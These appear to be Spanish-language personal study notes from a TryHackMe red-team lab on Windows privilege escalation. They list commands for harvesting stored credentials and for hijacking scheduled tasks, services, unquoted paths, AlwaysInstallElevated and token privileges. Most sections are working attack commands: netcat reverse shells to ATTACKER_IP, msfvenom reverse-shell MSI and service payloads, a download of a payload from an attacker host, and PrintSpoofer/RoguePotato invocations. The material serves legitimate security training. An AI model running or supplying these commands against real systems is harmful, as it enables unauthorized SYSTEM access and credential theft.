Red Team

Escalada de privilegios en Windows

#auth#endpoint#enumeration#redteam

La escalada de privilegios en Windows consiste en aprovechar vulnerabilidades, configuraciones incorrectas o credenciales expuestas para pasar de un usuario con privilegios limitados a uno…

Definición

La escalada de privilegios en Windows consiste en aprovechar vulnerabilidades, configuraciones incorrectas o credenciales expuestas para pasar de un usuario con privilegios limitados a uno con privilegios administrativos. Es una fase crítica del red team engagement tras obtener el acceso inicial.

Contexto

  • Se asume acceso inicial con usuario sin privilegios (cmd.exe o powershell.exe).
  • Tipos de cuentas Windows: Administradores (acceso total) vs Usuarios estándar (acceso limitado). Cuentas especiales del sistema: NT AUTHORITY\SYSTEM, NT AUTHORITY\LOCAL SERVICE, NT AUTHORITY\NETWORK SERVICE.
  • Esta nota forma parte del Red Team Path (THM): sigue a Post-Exploitation Enumeration (THM) y precede a Persistence (THM).

1. Credenciales en ubicaciones habituales

Instalaciones desatendidas (Unattended)

Los Servicios de Implementación de Windows guardan credenciales de administrador en:

C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf

Buscar el campo <Password> o <AdministratorPassword> — puede estar en base64.

Historial de PowerShell

Terminal window
# Desde cmd.exe
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Desde PowerShell
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Windows Credential Manager

Terminal window
# Listar credenciales guardadas
cmdkey /list
# Usar credencial guardada para ejecutar como otro usuario
runas /savecred /user:DOMINIO\usuario "cmd.exe"

IIS web.config (connection strings)

Terminal window
# Ubicaciones típicas:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
type C:\inetpub\wwwroot\web.config | findstr password

PuTTY (credenciales proxy en registro)

Terminal window
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

2. Tareas programadas — Permisos inseguros

Si el binario de una tarea programada es modificable por usuarios sin privilegios:

Terminal window
# Listar tareas y ver qué ejecutan y con qué usuario
schtasks /query /tn vulntask /fo list /v
# Buscar: "Task To Run" y "Run As User"
# Verificar permisos del binario
icacls C:\tasks\schtask.bat
# Si BUILTIN\Users tiene (F) o (M) → vulnerable
# Sustituir el binario con reverse shell
echo C:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
# Ejecutar la tarea manualmente (si se tienen permisos)
schtasks /run /tn vulntask

Listener en atacante:

Terminal window
nc -lvp 4444

3. AlwaysInstallElevated

Si está activado, los archivos .msi se instalan con privilegios de SYSTEM independientemente del usuario que los lanza.

Terminal window
# Verificar si está activado (ambas claves deben ser 1)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Exploit:

Terminal window
# Generar payload MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
# En la víctima: ejecutar el instalador
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

4. Servicios de Windows — Configuraciones incorrectas

Conceptos base

Terminal window
# Consultar configuración de un servicio
sc qc <nombre_servicio>
# Campos clave: BINARY_PATH_NAME, SERVICE_START_NAME
# Verificar DACL de un servicio (desde PowerShell)
# Process Hacker también lo muestra gráficamente
# Registro de servicios
HKLM\SYSTEM\CurrentControlSet\Services\<nombre>\
# Subclave Security → DACL del servicio

4a. Permisos inseguros en el ejecutable del servicio

Si Everyone o BUILTIN\Users tienen permiso (M) o (F) sobre el binario del servicio:

Terminal window
# Verificar permisos
icacls C:\PROGRA~2\SYSTEM~1\WService.exe
# → Everyone:(I)(M) = VULNERABLE
# Generar payload de servicio
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
# Descargar en víctima
powershell wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
# Sustituir el ejecutable
move WService.exe WService.exe.bkp
move rev-svc.exe WService.exe
icacls WService.exe /grant Everyone:F
# Reiniciar el servicio (requiere permisos o esperar reinicio)
sc stop windowsscheduler
sc start windowsscheduler

⚠️ En PowerShell, sc es alias de Set-Content. Usar siempre sc.exe para gestionar servicios desde PowerShell.

4b. Rutas sin comillas (Unquoted Service Path)

Si BINARY_PATH_NAME contiene espacios y no está entre comillas, el SCM prueba varias rutas en orden hasta encontrar un ejecutable:

# Servicio vulnerable:
BINARY_PATH_NAME: C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
# SCM intenta en orden:
1. C:\MyPrograms\Disk.exe ← ¿escribible? → colocar payload aquí
2. C:\MyPrograms\Disk Sorter.exe ← ¿escribible?
3. C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
Terminal window
# Verificar permisos de escritura en carpetas intermedias
icacls "C:\MyPrograms"
# Si BUILTIN\Users tiene (AD) y (WD) → se puede crear archivos
# Generar payload y copiar con el nombre correcto
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o Disk.exe
# Copiar a C:\MyPrograms\Disk.exe
# Reiniciar el servicio
sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"

4c. Permisos inseguros sobre la configuración del servicio

Si el usuario actual tiene permiso SERVICE_CHANGE_CONFIG sobre el servicio:

Terminal window
# Verificar con accesschk (Sysinternals)
accesschk64.exe -qlc <nombre_servicio>
# Buscar: SERVICE_CHANGE_CONFIG para el usuario actual
# Cambiar el BINARY_PATH_NAME al payload
sc config <nombre_servicio> binpath= "C:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4447"
sc stop <nombre_servicio>
sc start <nombre_servicio>

5. Abuso de tokens de Windows (Token Impersonation)

SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege → permite escalar a SYSTEM mediante técnicas Potato:

Terminal window
# Verificar privilegios del usuario actual
whoami /priv
# Buscar: SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege → Enabled
# Exploits: PrintSpoofer, RoguePotato, JuicyPotatoNG
.\PrintSpoofer64.exe -i -c cmd
.\RoguePotato.exe -r ATTACKER_IP -e "cmd.exe" -l 9999

Resumen de vectores y herramientas

Vector Herramienta Requisito
Credenciales en texto claro findstr, type, reg query Acceso lectura
Tarea programada insegura schtasks, icacls Escritura en binario
AlwaysInstallElevated reg query, msfvenom Ambas claves = 1
Ejecutable de servicio inseguro icacls, sc.exe, msfvenom (M) o (F) en binario
Ruta sin comillas sc qc, icacls, msfvenom Escritura en directorio intermedio
Config. de servicio insegura accesschk, sc config SERVICE_CHANGE_CONFIG
Token Impersonation PrintSpoofer, RoguePotato SeImpersonatePrivilege

Pitfalls / Errores comunes

  • Usar sc desde PowerShell (es alias de Set-Content) → siempre usar sc.exe.
  • No hacer backup del binario antes de sustituirlo → el servicio queda roto si el lab termina.
  • AlwaysInstallElevated requiere que ambas claves de registro estén a 1 (HKCU y HKLM).
  • Generar el payload con -f exe en lugar de -f exe-service → el SCM elimina el proceso al arrancar.
  • Olvidar asignar permisos Everyone:F al binario sustituido → el servicio no puede ejecutarlo.

Integración con otras notas

Diagrama

flowchart TD
    A[Acceso inicial sin privilegios] --> B{Vector de PrivEsc}
    B --> C[Credenciales expuestas]
    B --> D[Tarea programada insegura]
    B --> E[AlwaysInstallElevated]
    B --> F[Servicio: ejecutable inseguro]
    B --> G[Servicio: ruta sin comillas]
    B --> H[Servicio: config insegura]
    B --> I[Token Impersonation]
    C & D & E & F & G & H & I --> J[Acceso como Administrador / SYSTEM]
    J --> K[Persistencia + Movimiento Lateral]

Referencias

  1. TryHackMe — Windows PrivEsc: https://tryhackme.com/room/windowsprivesc20
  2. Sysinternals AccessChk: https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk
  3. PrintSpoofer: https://github.com/itm4n/PrintSpoofer
  4. MITRE T1574 (Hijack Execution Flow): https://attack.mitre.org/techniques/T1574/
  5. MITRE T1053 (Scheduled Task): https://attack.mitre.org/techniques/T1053/
Título original en mis apuntes: Windows Privilege Escalation (THM)